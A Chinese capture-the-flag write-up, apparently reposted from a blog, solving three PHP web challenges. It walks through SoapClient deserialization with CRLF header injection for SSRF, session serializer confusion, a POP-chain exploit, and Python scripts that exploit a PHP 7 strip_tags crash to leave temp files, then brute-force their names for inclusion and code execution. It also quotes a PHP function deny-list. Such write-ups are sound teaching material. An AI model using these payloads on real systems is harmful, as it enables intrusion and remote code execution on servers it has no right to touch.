目录
serialize_hander处理session方式不同导致session注入
解法1:calluser调用extract变量覆盖&包含session文件
<1> [LCTF]bestphp‘s revenge
题目用到知识点:
-
SoapClient触发反序列化导致ssrf
-
serialize_hander处理session方式不同导致session注入
-
crlf漏洞
进去题目得到源码:
//index.php
//flag.phpsession_start();echo 'only localhost can get flag!';$flag = 'LCTF{*************************}';if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; }
接下来我们进行代码审计:
call_user_func
函数:
把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。 这里调用的回调函数不仅仅是我们自定义的函数,还可以是php的内置函数。比如下面我们会用到的extract。 这里需要注意当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调.
通过flag.php 可知:需要构造ssrf去访问flag.php,然后获取flag。再利用变量覆盖把SESSION中的flag打印出来。
- 首先可以f 传入extract 从而造成变量覆盖。
- 这里要知道
call_user_func()
函数如果传入的参数是array
类型的话,会将数组的成员当做类名和方法,例如本题中可以先 f 传extract
将b覆盖成call_user_func()。$a为数组 其
第一个参数reset($_SESSION)
就是$_SESSION['name'],可控
。 SoapClient原生类可以触发SSRF - 因此 我们可以传入
name=SoapClient
,那么最后call_user_func($b, $a)
就变成call_user_func(array('SoapClient','welcome_to_the_lctf2018'))
, 最终call_user_func(SoapClient->welcome_to_the_lctf2018)
,由于SoapClient
类中没有welcome_to_the_lctf2018
这个方法,就会调用魔术方法__call()
从而发送请求
那SoapClient
的内容怎么控制呢,poc:
$target, 'user_agent' => "1vxyz^^Cookie: PHPSESSID=aaaaaaaa^^", 'uri' => "hello"));$attack = str_replace('^^',"\r\n",serialize($attack));$payload = urlencode($attack);echo $payload;// 执行的条件是 php.ini 文件里 ;extension=soap 改为extension=php_soap.dll
这里还涉及到 CRLF 漏洞 CRLF是”回车+换行”(\r\n)的简称
后面打算再写一个原生类的文章,上次只写了一个文件操作类, 这边就不再赘述,大家可以参考下面的文章
参考:反序列化之PHP原生类的利用 - l3m0n - 博客园
这个poc就是利用crlf伪造请求去访问flag.php flag.php执行满足$_SERVER["REMOTE_ADDR"]==="127.0.0.1" 会将flag保存在cookie为PHPSESSID=
aaaaaaaa的$SESSION数组中,$SESSION会以序列化形式存在于服务器上临时生成的sess_sessid文件中。之后我们可以var_dump($SESSION); 更改sessionid为此sessionid来输出出来flag。
当存储是php_serialize处理,然后调用时php去处理。可以触发session反序列化。具体原理可以查看前面写的 session反序列化原理:php-session反序列化_葫芦娃42的博客-CSDN博客
我们可以利用回调函数来覆盖session默认的序列化引擎。 阿桦师傅的XCTF Final Web1 Writeup:https://www.jianshu.com/p/7d63eca80686中有类似的方法,利用回调函数调用session_start函数,修改session的位置,再配合LFI进行getshell。
不过这道题是利用回调函数调用session_start() 来覆盖session默认序列化引擎,ini_set不支持数组传参,而session_start是数组传参,正好对应$_POST
生成payload:|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A5%3A%22hello%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A35%3A%221vxyz%0D%0ACookie%3A+PHPSESSID%3Daaaaaaaa%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
首先传入 GET: f=session_start&name= 上面的payload POST: serialize_handler=php_serialize
然后传入 GET: f=extract&name=SoapClient POST: b=call_user_func
更改 PHPSESSID为 aaaaaaaa 正常访问 执行 var_dump($SESSION) 得到flag
<2> 安洵杯 babyphp
考点类似于上一题:
-
SoapClient 触发ssrf
-
session反序列化
-
利用文件操作原生类读取flag
a = "babyhacker"; } public function __invoke() { if (isset($this->a) && $this->a == md5($this->a)) { $this->b->uwant(); } }}class B{ public $a; public $b; public $k; function __destruct() { $this->b = $this->k; die($this->a); }}class C{ public $a; public $c; public function __toString() { $cc = $this->c; return $cc(); } public function uwant() { if ($this->a == "phpinfo") { phpinfo(); } else { call_user_func(array(reset($_SESSION), $this->a)); } }}if (isset($_GET['d0g3'])) { ini_set($_GET['baby'], $_GET['d0g3']); session_start(); $_SESSION['sess'] = $_POST['sess'];}else{ session_start(); if (isset($_POST["pop"])) { unserialize($_POST["pop"]); }}var_dump($_SESSION);highlight_file(__FILE__);
源码可以构造pop链子:
B:__destruct -> C:__toString -> A:__invoke -> C:uwant
exp如下:
a) && $this->a == md5($this->a)) { $this->b->uwant(); } }}class B{ public $a; public $b; public $k; function __destruct() { $this->b = $this->k; die($this->a); }}class C{ public $a ; public $c; public function __toString() { $cc = $this->c; return $cc(); } public function uwant() { if ($this->a == "phpinfo") { phpinfo(); } else { call_user_func(array(reset($_SESSION), $this->a)); } }}session_start();$_SESSION['sess'] = 'SoapClient';$test = new B();$test->a = new C();$test->a->c = new A();$test->a->c->a = '0e215962017';$test->a->c->b = new C();$test->a->c->b->a = '11111';echo urlencode(serialize($test)));
最终利用到危险函数位置:call_user_func(array(reset($_SESSION), $this->a));
再看 flag.php
存在ssrf漏洞 明显需要用 soapclient
原生类构造 get
数据
$f1ag=implode(array(new $_GET['a']($_GET['b']))); 存在文件操作原生类利用
相比之前的 echo new $a($b); implode(array(new $a($b)));也可以触发。
array(new $a($b)) 数组里只有一个 object类型的元素
implode() 函数返回一个由数组元素组合成的字符串,object被当做字符串进行操作,触发__toString() 与 echo效果差不多
那这道题我们是如何利用 call_user_func(array(reset($_SESSION), $this->a)); 来构造soapclient原生类进行ssrf呢?
$target, 'user_agent' => "1vxyz^^Cookie: PHPSESSID=aaaaaaaa^^", 'uri' => "hello" ));$attack = str_replace('^^',"\r\n",serialize($attack));$payload = urlencode($attack);echo $payload;
首先利用 ini_set($_GET['baby'], $_GET['d0g3']); 和 $_POST['sess'],设置 session 反序列化器为 php_serialize 然后我们把上面得到的ssrf_payload 前面加上"|" 传入session文件里。然后不设置d0g3,在取出的时候由于 session 的默认反序列化器是 php 而造成session反序列化漏洞。在传入pop为之前构造的链子,call_user_func里
GET:?baby=session.serialize_handler&d0g3=php_serialize
POST:sess=|上面的payload
然后 需要将sess
设置为SoapClient
这个类,方便第三次利用反序列化pop链中 reset($_SESSION)值为SoapClient,为了后面使call_user_func激活soap类
GET:?dog3=
POST:sess=SoapClient
最后 POST传入构造好的pop链 直接用call_user_func激活soap类,通过flag.php将flag写入session。
之后我们更改Cookie里的PHPSESSID为ssrf_payload中设置的sessid 访问 var_dump($_SESSION) 输出我们的flag 。
注:第一次发包可能会报错 因为这个pop链并没有形成闭合,最后没有return一个String
来给B类的__toString()
方法 再发一次即可
<3> XCTF Final Web1
index.php如下:
function.php:
$value){ if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){ die('Do not hack me!'); } }}?>
admin.php
解法1:calluser调用extract变量覆盖&包含session文件
openbasedir 限制了工作目录,因此我们可以通过call_user_func回调session_start来更改session文件存储地址为 可操作的 /tmp。 把木马写入 sess_sessid 里
然后 通过call_user_func 回调extract 变量覆盖file 来包含session文件里的🐎 进行rce
解法二:php7小bug 利用string.strip_tags导致php7执行崩溃
php7的一个小bug:string.strip_tags
可以导致php7在执行过程中奔溃
如果请求中同时存在一个文件上传的请求 , 这个文件就会被因为奔溃被保存在/tmp/phpXXXXXX
(XXXXXX是数字+字母的6位数)
这个文件是持续保存的,不用条件竞争,直接爆破,为了爆破成功可以多线程去上传文件,生成多个phpXXXXXX
上传文件脚本:
import requestsimport stringcharset = string.digits + string.ascii_lettershost = ""port = base_url = "http://%s:%d" % (host, port)def upload_file_to_include(url, file_content): files = {'file': ('evil.jpg', file_content, 'image/jpeg')} try: response = requests.post(url, files=files) except Exception as e: print(e)def generate_tmp_files(): file_content = "" #phpinfo_url = "%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd" % (base_url) phpinfo_url = "%s/?function=extract&file=php://filter/string.strip_tags/resource=/etc/passwd" % (base_url) length = 60000 for i in range(length): upload_file_to_include(phpinfo_url, file_content)def main(): generate_tmp_files()if __name__ == "__main__": main()
爆破可利用文件脚本
import requestsimport stringcharset = string.digits + string.ascii_lettershost = ""port = base_url = "http://%s:%d" % (host, port)def brute_force_tmp_files(): for i in charset: for j in charset: for k in charset: for l in charset: for m in charset: for n in charset:filename = i + j + k + l + m + nurl = "%s/?function=extract&file=/tmp/php%s" % (base_url, filename)print(url)try: response = requests.get(url) if 'wwww' in response.content: print("[+] Include success!") return Trueexcept Exception as e: print(e) return Falsedef main(): brute_force_tmp_files()if __name__ == "__main__": main()
爆破出来文件名之后,就通过/?function=extract&file=/tmp/phpxxxxxx post里cmd为命令 即可
来源地址:https://blog.csdn.net/weixin_63231007/article/details/128494490